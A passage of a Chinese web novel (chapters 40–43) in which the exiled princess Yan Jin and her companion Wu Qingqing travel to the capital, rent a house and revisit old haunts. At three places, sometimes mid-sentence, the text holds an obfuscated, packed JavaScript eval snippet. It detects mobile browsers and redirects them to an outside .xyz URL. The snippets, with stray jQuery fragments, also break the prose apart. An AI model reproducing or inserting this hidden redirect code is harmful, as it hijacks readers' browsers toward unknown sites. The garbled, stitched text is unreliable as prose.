良久,燕谨叹口气,向前一步,将乌轻轻抱住,扣在自己怀里。 先前哭湿了左边衣衫,这下右边也得被他哭湿了,燕谨心想。 她抱得很紧,语气却轻柔:“轻轻,我要带你去国都一趟。” 40. 出发 “国都有我的家,也有你的家,待到国都,你便什么都明白了。” 燕谨还是没有将事实全盘托出,看见那张启事之后,她并没有去县衙表明身份,自然是为了安全考虑。 在国都中那个前琰王现陛下的身份不明之前,任何暴露身份的行为,都有可能给他们招来杀身之祸,不告诉乌轻轻也是为了乌轻轻好。 她是前燕国的公主,若新皇只是借了燕诀的身份做幌子,必定留不得前朝血脉;若真是燕诀未死,或是其他情况,到了国都之后再行决断也来得及。 乌轻轻声音闷闷的,哭得厉害以至于有些结巴,“国都?是,是因为,琰王吗?” “是也不是,”燕谨将他的头抬起来,看着他的眼周皱眉,“不许再哭了,小时候尚未有这么多眼泪要流,怎得现在事事皆要流泪?” “以前有娘,后来有你,我,我自然不必流泪。” “难道现在没有我了?”燕谨佯怒,沉下脸看他,“你若说这种话,下次再哭我便不哄了。” 乌轻轻眼睛干涩极了,睫毛濡湿一片,他将燕谨两只手覆在自己脸上,遮盖严实,互相看不见对方的面庞。 “小谨,你答应过娘,答应过我,生死我们都要在一起的。” 他实在害怕失去燕谨,失去他在这世上最后一个至亲。 燕谨看不见乌轻轻的神情,但他睫毛不住眨动时扫过掌心的痒意、说话时唇瓣的翕动、湿润的吐气皆被感受到。 “就算我死,也带你一起,可好?” 明明是一句旁人听了胆寒,甚至有些恐怖的话,乌轻轻却像得了天大的便宜。 他狠狠点头:“好!死也带我一起。” 安抚好乌轻轻之后,燕谨在他依依不舍的目光中离开了客栈。 没办法,他那双眼睛实在是见不了人。 沿着老旧的木质楼梯下来,站在柜台后边查看账目的女人见她下来,笑容热情:“娘子,可有什么东西要添置?” 燕谨眉目淡漠,只是眼圈略红,叫人看出她前不久的情绪不稳。 “麻烦店家差人送点吃食上去,要清淡些的,若有荠菜更好。” “好嘞,正好今日一早送来些新摘的荠菜,又鲜又嫩,包成饺子最好。” “可,麻烦店家了。” 不等女人吩咐,站在柜台旁的小二便机灵地往后厨窜去。 燕谨站在柜台前脚步未动,女人笑眯眯地看她:“娘子不必拘谨,唤我许娘子便是,可是还有别的吩咐?” “许娘子,”燕谨从善如流地唤道,“娘子可知城中到哪可以找着清理宅院之人?还有买马匹的地方。” 许娘子眉眼间有些惊讶,但生意做多了,什么样的要求她都听见过,很快收敛神色,为燕谨指路:“可巧,做这活计的人我刚巧认得几个,咱们城中这些宅院好些都是她们去清理的。您在这等等,我去给您叫过来。” “不敢劳烦,我自己去便是。” 但许娘子动作麻利极了,不等燕谨多说两句便从柜台后面出来朝外走,她将燕谨欲动的身体摁在原地:“倒不是别的,她们俱在自己家中,不像是在外头开铺子的说找便能找着了,娘子在这等我片刻。” 听了这话,燕谨自然不会再勉强。 她找了一张空闲的桌椅坐下,从后厨回来的小二伶俐地给她上了壶热茶。 刚过午时的饭点,店内没什么人,燕谨等了一炷香的时间,许娘子带着六七个妇人过来。 “娘子,这几人是清理宅院的好手,城中许多人家都是她们前去收拾出来的。” 燕谨先道谢,接着视线转到那些妇人身上。 看着俱在三十岁上下,衣着干练整洁,瞧着很有精神气,每个人脸上都挂着笑,并不因为燕谨看起来年轻便松懈态度。 燕谨并没有草草将人定下来,而是带着她们去院子里转了一圈。 几个妇人在院中四处查看一番,燕谨静静等着,不多时,一个看着是领头人的妇人过来告知燕谨应当如何修缮。 燕谨其实不懂这些,但她冷着脸一语不发,领头的妇人以为她不满意,额间冒汗,说得更细致了些。 “约要一月时间才能清出来么?” “是,您这院子太大,里外都损得厉害,最少需要一月。” 燕谨沉吟片刻,她没有时间等在这里监工,还有两个月的时间就是年底,乌家在国都还有先前的镖局店铺与宅院,再不去拿,全要充公。 回到客栈之后,燕谨找到许娘子,与她谈了一笔生意。 “……在国都尚有店铺宅院未取,即日就要启程,再快也得年后归来了,便想着与她们签订契约,劳许娘子做个中人。” 说出自家在国都有铺面宅院,既是家中底蕴的彰显,也是为了震慑——不要以为他们年轻,便可以糊弄了事。 许娘子果然一口应下。 有钱自然要赚。 办好这件事之后,燕谨草草吃了点东西,又去买马匹与药膏。 等到将所有事情都办好,天色已经有些黑沉了。 燕谨手上拎着三四个油纸包上了楼。 推开门时,乌轻轻脑袋趴在窗沿上,盯着外头的街道出神,连她推门的响动都没有注意。 桌上摆着两盘点心,每盘吃了一点,但不多。 燕谨看看自己手中的油纸包,又看乌轻轻呆愣愣的背影。 她抿了抿唇,将东西放下,走到乌轻轻旁边。 “在看什么?” 底下的人吓得浑身一抖,一声惊叫被他险之又险地吞下去。 乌轻轻扭头,眼眶还没有完全消肿,气冲冲地喊她,“小谨!” “我们出去逛逛?” 一句话轻而易举打消了他在房中等待了一天的怨气与委屈。 他腾得弹起来,拉着燕谨就要往外走。 “别急,先涂点药。” 燕谨从怀中掏出一个小瓷瓶,食指蘸取了乳白色的药膏,轻柔地抹在乌轻轻眼周。 乌轻轻被摁在凳子上,仰脸对着她。 距离近到对方的呼出来的气息都能用脸颊接上,乌轻轻睫毛不停地眨,看着近在咫尺的燕谨,昨夜那种晕乎乎的感觉又漫上来。 “闭眼,抖什么。” 视线被剥夺之后,脸上的触感反而变得更加明显。 燕谨的手并不光滑细腻,她骑马拉弓,习武练剑,手上有不少细小的疤痕印子,指尖有一层薄薄的茧。 她的手在最敏感的眼周来回滑动时,除了药膏带来的清凉感,便是一种酥痒的感觉,让乌轻轻情不自禁咬住了下唇。 好奇怪,怎么这么奇怪,这是小谨,他们比这更亲密的接触都有过不知多少了。乌轻轻有些不知所措,脑子迷迷糊糊,他慌乱间拉住了燕谨的衣摆。 燕谨瞥了一眼,没有理会,专心将药膏抹开,等皮肤吸收。 “好了,睁开眼睛。” 乌轻轻随着她的命令睁眼,在失去视线一段时间后,他第一眼看见的是燕谨放大的面庞。 她面带关切,手指还点在他颊上,“好点了么?” 什么好点了?乌轻轻的脑子已经不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233540|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转了,下意识点头,嗯啊了一声,被燕谨牵着手带出房间。 酉时刚刚过半,不少摊贩已经点上了油灯与蜡烛,街上热闹不减,人来人往。 乌轻轻出了客栈之后就恢复过来,满脸兴奋,原本是燕谨拉着他走,后来就成了他拉着燕谨走。 不知道多少年没有亲身经历过这样的景象了,他兴奋但又有些微的紧张,时不时回头去看燕谨,手上也拉得紧紧的,仿佛燕谨就是他在人群中行走的底气。 “你有没有吃东西?”乌轻轻拉着她往一个糖葫芦摊子走过去,“我要吃这个!小时候娘总给我买的。” 他的眼神亮晶晶的,快走两步跑过去,对着小贩露出一个灿烂笑容:“我要两串。” “一串就行,我不饿。” “给钱,”乌轻轻动作很快地接过来,“我自己吃两串,你要吃再买。” 燕谨:…… 掏钱结账,乌轻轻两只手都拿着东西,没法牵着她了,理直气壮地喊她拿着一串,自己吭哧吭哧吃起来,眼神又落在一旁围拢的人群中。 他的个子不算矮,但想要看到里三圈外三圈的中心,还是相当吃力。 燕谨叹口气,走在他前头,强硬地挤出一条缝让两人走到内圈去。 一只毛茸茸的小猴在人群中间的地面上踩着铁圈,一摇一晃地朝前摆动,时不时变换动作。 “哇!!”乌轻轻双眼发亮,雀跃地握着燕谨的手,“猴戏!猴戏!我小时候见过!” 人群惊叹不已,一个满面笑容的中年男子手里举着一个托盘,顺着人群走动。 乌轻轻不懂他这是什么意思,等到男人走到他们俩面前时,托盘上零零散散放着几个铜板。 燕谨也放了一个铜板上去,得了男人一连串的吉祥话。 看了小半刻钟,那小猴换了不少招式,把乌轻轻唬得惊叫连连,但也不耽误他吃,两根糖葫芦眨眼间就下肚了。 见他意犹未尽的样子,燕谨抚额,将人拽出来,“好了,再去吃点别的东西垫垫,免得晚上肚子里泛酸水。” “真厉害,太精彩了,”乌轻轻双眼放光,走远了都还在说猴戏,“云城真热闹,我们以后还要来看!” 燕谨随意选了个做汤饼的摊子,拉着乌轻轻坐下。 “等到国都,那里更热闹,除夕会放烟火。” “哇,真的吗?我还未见过烟火!” “嗯,你小时候住在国都时必定见过,只是忘了。” 国都除夕放烟火的传统已经延续几十年了,燕谨记忆中的烟火已经有些模糊了,但仍有个印象在,记着很漂亮。 乌轻轻满怀期待,对去国都这件事的抗拒减弱了不少,一心想着燕谨口中的烟火。 他们一直逛到了宵禁前,乌轻轻一路吃了不少东西,还买了许多稀奇古怪的小玩意儿,直到回到客栈,他都情绪激昂,念叨个不停。 燕谨一边“嗯”、“是”、“没错”、“确实”的回应他,一边收拾行囊。 乌轻轻一兴奋就话多,鉴于之前在山中时只有他们两人与一匹马,燕谨对这种情况适应良好。 “好了,今日早些休息,明天便要出发了。” 从云城到国都,以他们的行进速度,若是不想太赶,需得尽早出发。 晚上睡觉的时候,乌轻轻又有些奇奇怪怪的,燕谨劳累一天,没有心情再去琢磨,一躺下就睡着了。 留乌轻轻在深夜里偷偷挪过来,手臂贴着她,感受到她身上散发出的热意才红着脸睡过去。 次日,他们再次踏上了旅程。 41. 国都 这次路上需要一个月的时间,考虑到他们的身心健康,燕谨买了一辆马车。 不算太大,两个人躺在里面都伸不直腿,但好歹有个活动的空间了。 他们白天行进,晚上休息,两个人轮着赶车,比起骑马要舒服不少。 往前数六年都闷在山里,乌轻轻对这趟旅程怀揣了些隐秘的兴奋,从没见过的草木都能让他乐半天。 走了十日后。 天高气爽,万里无云。 这地方也不知是哪里,往前往后看皆是平原,刚好容得下两马并行的黄土路上尘土飞扬,将赶车的人糊的灰头土脸,鼻腔皆是泥腥味。 他们在沿途的一个茶棚歇息了片刻,继续上路。 燕谨在前头赶车,她脸上罩着一块深蓝色的布巾,只露出发丝与两只眼睛,袖口与裤腿处皆用布缠近,避免风沙刮进去。 乌轻轻趴在车厢的窗沿上闭着眼睛感受舒爽清凉的秋风,一脸惬意。飞云哒哒地走在窗户旁边,长长的鬃毛垂下来被风吹得一摇一晃。 “小谨,小谨,”突然想起什么来,他将头伸出车窗,歪着身子去喊前面驾车的人。 燕谨的声音被风吹散,传过来时有些模糊,“什么事?” “我刚刚想起来,你不是说会将飞云留在云城吗?怎么又带上它了。” 他边说边伸手去摸飞云的头,半个身子悬空。 燕谨回头时恰好看见这一幕,拧眉让他坐好。 “你若无聊,便到前面来替我驾车。” 拉车的马是跟着车一起新买的,燕谨给它取名叫跃风,是一匹只有四岁的白马。 乌轻轻嘿嘿一笑,窜到车辕上跟燕谨挤在一起,“你驾车,我陪着你。” 本来就粘人的人,近些时日更是无时不刻想跟燕谨挨在一起。 “不许捣乱,是不是无聊了?茶棚的老板说前面不远就是南城,晚上我带你去城中逛逛。” 他手上将头靠在燕谨肩上,低头玩自己的手指,“干嘛说得好像是为了让我玩才去南城的,明明就是为了置办物资。” 燕谨把他的脑袋推起来摆正,“那你要不要去逛?” “当然要去了!”乌轻轻悻悻坐好,余光去看燕谨的侧颜。 她罩得严实,因为坐在车辕上迎面对着风,眼睛微微眯着防止风沙吹进来,看起来像是有些不耐烦的样子。 ……我怎么看得眼睛都转不动了,乌轻轻咽了咽口水,从余光打量变成侧头光明正大的炯炯注视。 燕谨任他看,专心驾车。 乌轻轻又有些不高兴。他自己驾车时端端正正,什么花招也没有,但旁边坐着燕谨,就好像非要做点什么才算圆满似的。 他舔了舔唇,试探性地伸手去戳跃风的马屁,果不其然,手伸到半路就被燕谨一把抓住。 “又要闹什么?” 乌轻轻指尖颤动一瞬,感受着她的掌中的温度,像是忘了抽手,一脸无辜地看着燕谨:“你还没有回答我的问题呢?为何又带上飞云了。” “将飞云留在云城,你舍得吗?” 乌轻轻一愣,他看看燕谨,又看看飞云,嗫嚅道:“自然舍不得……” “我也舍不得,所以带上它。” 燕谨目视前方,自然地将乌轻轻作乱的手放回在他膝上,原本捏着他的手收回继续握着缰绳。 她的动作自然流畅,乌轻轻不太满意,哼了一声又爬回去了。 燕谨:…… 真是越大越难管了,比小时候脾气还大。她暗自摇头,心中无奈,怀疑乌轻轻是不是也到了曾经燕诀脾气古怪又不爱说话的那个时期? 一时好一时坏的,最近这些时日,更是毫无规律。 燕谨不是次次都去哄他,乌轻轻也不是真的生气,等到他自己玩累了,说不得连自己方才为什么闹那一出都不记得了。 剩下的路程一路无话,大约两个时辰之后,壮阔的城池出现在道路尽头。 南城到了。 南城是一个规模中等的城市,比上不足,但较之云城要繁华许多。 当地的特色是驴肉手擀面——茶棚的老板极力推荐,让他们到了南城一定要去吃。 燕谨对吃食没有什么太大的兴趣,倒是乌轻轻认认真真记下来,连茶棚老板说到哪个摊子最正宗都一一记住。 到了城门口,燕谨喊乌轻轻出来,要下车进城了。 喊了几声都不见他应,燕谨以为他还在闹脾气,心中有些不快,将车赶到一边,转身掀开帘子。 一看便没了言语。 乌轻轻四仰八叉地倒在车厢里面睡着了,两条长腿无处安放,架在了车壁上,脸颊红润,睡得正香。 真是没心没肺。 燕谨眯起眼,悄声靠近过去,捏住了乌轻轻的鼻子。 乌轻轻睡得很香,他已经习惯了马车的摇晃,甚至觉得比睡在客栈的床上还要舒服些,每次都摇着摇着陷入黑沉梦乡。 正美梦间,他突然感觉自己胸口憋了一股气吐不出去,越憋越难受,好不容易想起还有嘴,张嘴又被捂住。 他气得一下就醒了,睁眼一看,燕谨正趴在他头顶上,一只手捏着他的鼻子,一只手盖着他的嘴。 见他醒了,燕谨勾起一抹笑,十分利索地松开手退回到车辕上。 “小谨!”乌轻轻气得大喊。 “下来,我们得进城了。” 一直到客栈,乌轻轻都是那副样子——双手抱臂,眉头紧皱,跟燕谨中间隔开一个人的距离。 哪怕城门口人多的时候,他也坚决不挨着燕谨,势要保持距离。 燕谨不哄他,也不看他,只在他气得连路都不看了将撞到路人时才拉一把,很快又放开,任由他自己接着生气。 放好行李之后,燕谨带着乌轻轻去茶棚老板推荐的那家驴肉手擀面摊子吃饭。 气呼呼的人一路上都在偷偷看她,只要发现燕谨要转头就立马转回去,仰着脑袋装作看天。 她怎么还不来哄我?乌轻轻困惑不已,搁在以前,她早就来哄自己了。 我这么好哄,她随便说点什么我就不生气了,她为什么还不说? 乌轻轻越想越不对,甚至咂摸出一点关于“她不来哄我是不是已经发现我对她心怀不轨了”的意思。 气氛安静得很诡异,两人沉默地走到茶棚老板推荐的那个摊子。 这个摊子看起来其貌不扬,甚至没有间像样的店面,临街放了几套桌椅,这个时辰还未到饭点,人已经不少。 点好吃食后他们找了个僻静地方落座,老板将热腾腾的面端上来。 闻着很香,尝了一口味道也很好,但是乌轻轻就是不太有胃口。 他拨弄着碗中的面条,丝丝缕缕的热气飘上来,遮盖住略显失落的眉眼,叫对面的人看不太真切。 “……你怎么不和我说话?”他犹犹豫豫地问燕谨。 燕谨心中在想事,方才在南城的城门处,她又一次看见了那张寻人启事,脑中思绪杂乱,没有太注意乌轻轻。 “在想事,好吃么?” “好吃……你在想什么事情?” 燕谨动作一顿,透过氤氲的雾气去看乌轻轻,淡淡地笑了一下:“没什么,在想该添些什么东西罢了。” 已经相处了十一年的人,哪怕再眉目冷淡面无表情,乌轻轻也可以看出来她在撒谎。 他眨了眨眼,故作自然道:“等会再想,现在你要和我聊天。” 乌轻轻豪气地哧溜了一大口面条掩饰自己的情绪,转眼就被烫到从凳子上弹起来。 燕谨的注意力被如愿转移到他身上。 吃完面,时间还早,两人边逛边买添置物资。 他们在前几天经过一些城镇时,因为急着赶路,未曾进去停留,南城是他们进来的第一个城池。 这里风貌与云城大不相同。 云城人的服饰俱以长袍为主,窄袖束身,面料也偏厚实板正,瞧着十分耐穿;南城人以短衣为主,宽袖透气,样式也更多时髦。 燕谨置办的几身新衣服到南城又显得有些不够看了,只是两人都没太放在心上,也不介意别人似有若无的打量视线。 他们逛到宵禁才回客栈,燕谨似不经意间去南城的府衙附近探了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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排了大约半个时辰左右,轮到了燕谨与乌轻轻。 国都的守城兵士面色极为严肃,对着他们的马车和包袱检查得很仔细,户籍文书也是看了又看,还突击问了几个问题。 两人这些日子进过数次城,并未惊慌,从容应对。 兵士确认无误之后便将文书还回去,示意他们进城。 燕谨抓紧问了一句:“官爷,请问国都中认领先前家中宅院的地方在哪?” “进去这条道直走到底右转,第三个口子往里第五间院子,营缮清吏司。” 谢过之后,两人上了马车,跨过长长的城洞,来到了十几年前,他们曾经生活过的土地上。 这是燕谨阔别了十一年的地方,是她的家,是她至亲的埋骨之地。 这里也是乌轻轻曾经的家,他在这里出生,在这里失去了他的亲人。 旧燕归巢,竟有些惘然不知归处了。 国都很大,很繁华。 一条可容八马并行的青石板路从城门处延绵至最深处的宫墙底下,街道上人烟稠密,车水马龙,他们这辆小小的马车淹没在其中毫不起眼。 由这条主路,分支出去许多巷弄,繁华商铺、市集摊贩、酒楼茶摊一应俱全。商贩的吆喝声中裹满了生活的潮热气,孩童捧着糕点笑闹,连墙角晒太阳的狗都悠哉不愿挪窝。 美好到甚至有些不真实。 她心中突兀滑过一个念头:不论琰王是不是燕诀,都是一个好皇帝。 不论是偏远的小城云城、还是规模不大的南城、以及权力中心的国都,没有人再受战乱之苦,甚至很好地从那十年中走出来。 燕谨架着马朝兵士口中的营缮清吏司去,眼神有些空茫。 乌轻轻坐在车辕上紧贴着她,大半个身体都靠在她身上。 “小谨……国都真热闹啊……” 他眼睛转个不停,看得眼花缭乱。说不清心底的不安从何而来,只能从燕谨身上汲取一点暖意。 燕谨呼出一口气,握住乌轻轻冰凉的手指,点头。 说来很奇怪,国都对于他们俩来说,应该都有些不一样的意义。 这是他们出生的地方,是他们第一次见到世界的地方。 但此刻能够让他们在这儿获得短暂安心的,还是只有从青山一起走出来的彼此。 他们紧靠在一起,正如过去的无数个日夜。 42. 吃醋 见识了国都的繁华盛景,燕谨对于将宅院铺面认领回来这件事多了两份把握。 毕竟在云城时都没有耗费太多功夫,国都瞧着方方面面都远胜于云城,应当会更加便利才是。 以至于被吏员客客气气请出来的时候,他们两都有些懵。 穿着灰色袍子的吏员将他们送到门口,撩着唇上的胡须,语气真诚:“近些时日本部忙着估修国都营房,实在没有人手办这事,娘子与郎君先等些时日,过后再来吧。” 他的袍子上没有补子,应当是司中负责办些杂事的吏员。 燕谨没有怀疑他的话,这人面庞清瘦,腰背挺直,看着很正派。方才进去时,里面确实人来人往,忙碌异常。 “谢过官爷,那我们何时来司中有空?” 吏员微微一笑,“约莫得月余方可忙完。” 听了这话,燕谨便有些犹疑。离除夕只剩下一个月的时间了,若是卡着时间过来办,不知道会不会耽误了。 “可距除夕只剩一月时间……” 吏员看出她的担忧,摆摆手,“娘子不必担忧,这手续快得很,一天即可办好,只是需得有个人带你们去一一核对罢了。” 说完,不等燕谨再追问,便说自己还有事要办,急匆匆回去了。 留燕谨与乌轻轻二人站在门口相顾无言。 “罢了,那先去找个地方住吧,还有一月时间,我们总不能日日住在客栈。” 国都与她记忆中的样子有许多不同,但一些大体的格局还是没有改。燕谨循着记忆往城南驶去,她不记得是谁带自己出来时说的这话——城南多平民宅院,那里没甚好玩的。 既然多平民,租房必定比主城实惠些。 他们身上的银两所剩不多了,还要留着一些日后置办家用,现在得俭省点。 除去这层原因之外,燕谨也是为了避开主城可能会遇见的熟人。 她在国都长到十岁,城中官宦子弟不说人人都认识她,也有十之八九幼时有过接触。 城破之后不知那些人如何了,但一定有底蕴深厚的家族还留在城中,甚至在朝中任职。 燕谨脑子里转着这些事情,身旁的乌轻轻眼睛滴溜溜地转,问出了这个在心底想了一路的问题。 “小谨,你的家在国都哪里?” 他神色好奇,从燕谨说要去找地方住时便憋不住想问。 “我们现在是去你家吗?” 她的家……现在还不知道是不是她家,燕谨眼底漫起涩意,摇头道:“我原先的家现在去不了,先去租个院子住吧。” “我还以为你先前是唬我的,”乌轻轻突然冒出一句。 “唬你什么?”燕谨疑惑。 “我以为你是骗我的,原来你家真的在国都。” 他坐在车辕上前后摇晃,嘟囔着不敢看燕谨。 “我何时骗过你?” 燕谨架着马车渐渐驶离方才的热闹繁华,两人都隐晦地松了口气。 越往南走,房屋便越低矮。 主城俱是绿瓦白墙青砖路,现下已经能看到黄土路与低矮平房了。 乌轻轻回想了半天,发现燕谨似乎真的,从未骗过他。 她只会避而不谈,不告诉乌轻轻,但从不会拿假话去骗乌轻轻。 “你之前可说过,等到国都了都告诉我。”他扒在燕谨肩头,目若悬珠。 “嗯,回头找机会告诉你。” 她夷然自若,仿佛已经应承下来,乌轻轻心满意足。 城南的房子比燕谨预料中还要好租。 不知道是不是因为战乱才过去一年,许多人家还没添丁进口的缘故,或者是已经搬离国都去别处营生,他们的马车一转过来就发现好几间宅子门上贴了告示。 两人人生地不熟的,没有贸贸然过去问,而是在附近转了转,先看了一下环境。 最终看定两个位置,一处离护城河近,若院子中没有水井,取水方便;一处是巷口,出行方便,离乌轻轻家原本的宅子也不远。 架着马车来回终归麻烦些,燕谨将飞云身上的套索取下来,来回跑了两趟,乌轻轻留在马车上看着行李。 最终敲定的是巷口一处院子,刚巧燕谨去的时候主人就在不远,听说她要租房,热情地将人迎进去。 这院子不算大,只有三间房,但带着一口井。燕谨仔细看了一眼内部的家具布局,没再去另一处看,直接定下。 马上就是年底,房子难租,房主也不介意她只租两月,痛快签了契约给了钥匙。 燕谨回去的时候乌轻轻正在给跃风的鬃毛编辫子,听见马蹄声,他抬头看见燕谨有些讶异。 “不顺利吗?怎么就回来了?” “租好了。”燕谨翻身下马,长腿一跨上到车辕上,没再将飞云拽过来,让它在旁边跟着走。 “这么快?是哪一处?” “巷口,刚巧那院子里有口井,瞧着也不错,我便直接租了。” 乌轻轻咽下疑问,乖巧点头。 小谨看过觉得好就可以,他向来听从小谨的安排。 将马和行李都安置好之后,燕谨带乌轻轻出门吃饭。 她记着在城南与主城交界的地方,有一家酥肉特别好吃。 城南多平民宅院,那里没甚好玩的——这句话貌似就是他们站在酥肉摊子前那人告诉她的。 时间过去太久了,燕谨不太确定那家还在不在,不过距离不算远,带着乌轻轻去看看也不妨事。 乌轻轻一路上都问个不停,誓要把燕谨脑子里那点关于国都的东西都挖出来不可。 “你什么时候去吃的?真的很好吃吗?谁带你去吃的……” 他问个没完。 “大概是八岁的时候,那时觉着不错,不记得是谁……” 燕谨耐心回答。 两人一来一回,皆视旁人于无物。 有时燕谨不知哪句话回答的不对,乌轻轻便作势生气,冷哼一声,与她隔上两步的距离。 忍不到两息,又要蹭回来,装作没有刚才那回事,继续问别的。 一路说话笑闹个不停,燕谨有一搭没一搭地回应他,眼神在周围寻梭。 时间过去太久,她不太确定具体是哪里,只隐约记着是在靠近主城的一个街角。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247478|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >找了一刻,还没看见酥肉摊子的影子,燕谨有些怀疑是不是已经没有这家店了。 刚准备告诉乌轻轻去吃点别的东西,就闻到了熟悉的香味。 她一愣,视线往远处看过去。一个门面铺子里,似是小二模样的人手中端着一个盘子掀开门帘走到大堂,端到客人桌上。 原先只是在街角支了一个小摊,没想到如今都有沿街的铺面了。 燕谨感慨一笑,拉着乌轻轻走过去。 小二快走两步迎上来,“客官里面请,瞧着您是第一回来,可要给您介绍下咱家的招牌酥肉?” 他看起来年岁不大,脸上笑盈盈的,态度热情又不过分谄媚,让人舒心。 “以前也吃过,你上些招牌菜色吧,够两人吃的餐食即可。” 乌轻轻坐在她对面,眼睛一直落在燕谨的脸上。 她眼中有些怀念、有感慨、还有一丝隐秘的怅然,乌轻轻看了半晌,冷不丁发问:“小谨,先前带你来的不会是男子吧。” 燕谨:…… 燕谨:“我不记得了,这是什么问题?就算是男子又如何,那时我不过八岁。” 他不依不饶道:“如果是家中亲人,你必定不会这么轻易忘记;若是与你没有亲缘干系的人,谁知道是干嘛的,倒叫你一回来就怀念成这样……” “你又闹什么?” 燕谨有些不明所以,难以理解乌轻轻莫名其妙的质问从何而来。 “……我说两句你就嫌我。” 他说着眼圈都红了。 原本只是借题发挥想作一作,不想让燕谨眼中染上与他无关的情绪,被她一反问,心中反倒涌起一股委屈酸涩的感觉来。 燕谨无奈抚额,刚想要坐到他身边去安慰两句,外面走进来两个身着甲胄的年轻男子。 其中一个扬声招呼:“店家,还是老样子,打包带走。” 小二急匆匆跑到后厨去,柜台后面不知是掌柜还是账房的人招呼他们坐下,又是倒茶又是奉上点心。 刚巧他们坐的位置离燕谨两人不远,待说话的男子挥退店家之后,他们口中闲聊的话语似有若无地传到燕谨耳中。 “……今年除夕……似乎……登宫墙与百姓共庆……” “……说是这样……安全护卫……你我皆要……” 一句话只听得几个字,前后不搭,燕谨刚想抛诸脑后,忽然浑身一震,脑中划过一件事。 除夕登宫墙与百姓共庆,这是她父皇以前年年都要准备的传统,直到燕国渐颓,后面两年才停了。 这两个人说的似乎就是这件事。 新帝要在除夕当晚,登宫墙与百姓共庆。 只要她抢到一个好位置,压根不用想什么奇谋妙计,可以直接一观新帝面庞。 燕谨越想越觉得可行,眼神发亮,恨不得今晚就是除夕。 桌面上不知何时上的菜,那两个男子也拎着东西走了。 燕谨回过神,才注意到乌轻轻已经不知看了她多久。 “你方才是看那两个男子才致神思恍惚吗?甚至他们走了你还在看人家的背影?” 他在说什么? 43. 打听 “你不说话?是默认了?还是被我说中心虚了?” 燕谨没有答话,漆黑的眼珠紧盯着乌轻轻略带嗔怒的脸庞,眉间微皱,似疑惑,又似打量。 乌轻轻犹如兜头一盆冷水浇下,刹那间回过神来。 他薄红的脸颊霎时变得苍白,手指蜷缩了两下,伸出手去给燕谨碗中夹菜。 “你别多心……我是,我怕你饿着……”他嘴角僵硬地扯起一抹笑。 眼前的人没有反应,还在看他,眸中带了抹深思。乌轻轻愈发忐忑,几乎坐立难安,不住在心中怨自己怎么这么沉不住气。 “轻轻,你不累吗?” 乌轻轻心中一紧,反问道:“什么?” 燕谨起身坐到他身边来,将乌轻轻僵硬的身体转过来,直直看入他的眼底,叹了口气,“我们在路上奔波了一月有余,到国都之后也是片刻未曾停歇。虽已经租了房子,但东西还等我们吃过饭回去收拾。” 她将乌轻轻颊上的碎发抚开,指尖在他眼下的青黑处摩挲,“我知道你很累,因为我也很累,所以不要再把精力放在‘小谨会不会离开我’这件事上面了。我不会离开你,我不想再重复了。” 燕谨神色倦怠,语气柔和,但对于乌轻轻的举动却有种无可奈何的迁就感。 许是知道她曾经的家在国都之后,轻轻害怕自己会离开,所以情绪敏感了些,燕谨如是想着。 身侧的人眨巴着眼,安静了两息狠狠点头,“对,我就是想着这个,所以……那我以后不想了,对不起。” “不必与我道歉。先吃饭吧,这家酥肉冷了便没那么好吃了。” 乌轻轻觑着她的脸色,夹起一筷子酥肉,送入口中,颇有些食不知味。 燕谨安抚好他后坐回原位,将乌轻轻方才夹到自己碗中的菜咽下。 酥肉入口,燕谨细嚼慢咽,仔细感受着。 味道不差,但与记忆中那种难得民间美味的印象貌似又不太一样。 时过境迁,连一道小小的酥肉都不一样了,遑论其他人呢。 坐在对面的人视线总是时不时落在自己身上,一旦她想要抬头,便急忙转走。 燕谨发觉了,什么也没说。 吃过饭,还得回去收拾院子。 两人独立生活多年,对这事已是驾轻就熟。一下午分工合作,井然有序。 忙活许久,将所有房间打扫干净,又出去给飞云和跃风买干草。等到全都收拾好,洗漱完躺在床上,已经快到亥时了。 乌轻轻累得眼睛都睁不开了,整个人往床上一倒就昏睡过去。 他的头发底下还垫着一块干布,原本是用来擦头发的,但人一沾上床就迷糊了,没两下就散在枕头上,头挨着半个真肉,身体歪斜躺着。 燕谨也是累得够呛,把他往里面推了推,将他垫头发的干布扯过来给自己垫一点,强撑着熄了蜡烛。 这张床好像有点小,不像老宅的土坑滚上去三个人都绰绰有余,也不像客栈的床榻那般宽大。 这是燕谨陷入黑沉梦乡前的最后一个想法。 次日,燕谨原本打算带乌轻轻去原本镖局的铺面转一转,但醒来后立时打消了这个想法。 他们难得同时清醒,看着对方头顶杂乱无章的头发,又双双陷入沉默。 乌轻轻还好些,他发质好,就算乱了也好打理。 倒是燕谨有些不好意思,她的头发天生微卷,是以乌轻轻站在她身后理了小半个时辰才理顺。 “咳,那我们去,走一走。” 乌轻轻看着燕谨颇有些落荒而逃的背影,得意一笑,这世界上最了解燕谨头发的人必定不会是她自己。 轻哼两声,心情愉悦地快走两步跟了上去。 对于乌家曾经在京城的事,燕谨两人了解得不算多。 以前乌霜雪还在时,很少提起这些往事,只是将家中铺面宅院的位置一一告知,但对于当初为何只有她与轻轻两人逃回家只字不提。 